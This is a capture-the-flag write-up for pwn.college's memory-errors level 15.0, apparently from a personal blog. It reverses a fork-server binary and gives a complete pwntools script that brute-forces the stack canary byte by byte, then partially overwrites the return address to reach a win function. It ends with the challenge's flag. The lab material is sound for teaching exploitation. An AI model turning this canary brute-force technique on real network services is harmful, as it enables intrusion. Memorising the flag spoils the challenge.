Post

(Memory Errors) level 15.0

(Memory Errors) level 15.0

Information

  • category: pwn

Description

Defeat a stack canary in a PIE binary by utilizing a network-style fork server in the target binary.

Write-up

This code was reversed using IDA:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int optval; // [rsp+24h] [rbp-101Ch] BYREF
  int fd; // [rsp+28h] [rbp-1018h]
  int v7; // [rsp+2Ch] [rbp-1014h]
  sockaddr addr; // [rsp+30h] [rbp-1010h] BYREF
  unsigned __int64 v9; // [rsp+1038h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  puts("###");
  printf("### Welcome to %s!\n", *argv);
  puts("###");
  putchar(10);
  puts("This challenge is listening for connections on TCP port 1337.\n");
  puts("The challenge supports unlimited sequential connections.\n");
  fd = socket(2, 1, 0);
  optval = 1;
  setsockopt(fd, 1, 2, &optval, 4u);
  addr.sa_family = 2;
  *(_DWORD *)&addr.sa_data[2] = 0;
  *(_WORD *)addr.sa_data = htons(0x539u);
  bind(fd, &addr, 0x10u);
  listen(fd, 1);
  while ( 1 )
  {
    v7 = accept(fd, 0LL, 0LL);
    if ( !fork() )
      break;
    close(v7);
    wait(0LL);
  }
  dup2(v7, 0);
  dup2(v7, 1);
  dup2(v7, 2);
  close(fd);
  close(v7);
  challenge((unsigned int)argc, argv, envp);
  puts("### Goodbye!");
  return 0;
}

The binary uses htons to bind a socket, listening on port 0x0539, which is 1337 in decimal. You can interact with the service locally using:

1
nc 127.0.0.1 1337

Now we’ll set our breakpoints using pwndbg and run the challenge. We’ll place a breakpoint at challenge +1645, which corresponds to the call to read inside the challenge function:

1
2
3
pwndbg /challenge/babymem-level-15-0
...
pwndbg > b*challenge + 1654

This allows us to inspect the stack before and after the read call to confirm the buffer overflow.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> p/x $rsi  
# $rsi points to the buffer we're writing into

pwndbg> stack  
# Inspect the stack layout
# Look for the canary (usually starts with 0x00******) and saved return address

pwndbg> dist $rsi <canary_address>
# Calculate offset from buffer to canary

pwndbg> i f
# Show the current frame info (where saved RIP is stored)

pwndbg> dist $rsi <saved_return_address>
# Calculate offset from buffer to saved RIP

This is our method, but you can explore and solve it using your own strategy too.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/env python3

from pwn import *

exe = ELF("./babymem-level-15-0_patched")

context.binary = exe


def conn():
    r = remote("127.0.0.1", 1337)

    return r

def send_payload(p, payload):

    p.sendline(f"{len(payload)}".encode())
    p.send(payload)


def brute_force_canary():
    canary = b"\x00"
    i = 0x00
    while len(canary) < 0x8:
        for i in range(0x00,0xff):
            with remote("127.0.0.1" , 1337) as p:
                send_payload(p, b"A"*56 + canary + bytes([i]) )
                res = p.recvall(timeout=4)
                if b"*** stack smashing detected ***" not in res:
                    canary+= bytes([i])
                    break

    log.success(f"Canary: {canary}")

    return canary
def jump_to_win(canary):
    i = 0x00
    while i < 0xff:
        p = conn()
        fixed = b"\x22"
        padding_to_canary = b"A"*56
        padding_to_ret = b"B"*8

        payload = padding_to_canary + canary + padding_to_ret + fixed + bytes([i])

        send_payload(p, payload)
        res = p.recvall()
        if b"pwn.college" in res:
            print(res.decode())
            break
        else:
            i += 0x1

def main():
    canary = brute_force_canary()

    jump_to_win(canary)


if __name__ == "__main__":
    main()

Flag

Flag: pwn.college{PiU_dHA8jccj_TYZgFn1iejPdTj.01NxMDL5cTNxgzW}

This post is licensed under CC BY 4.0 by the author.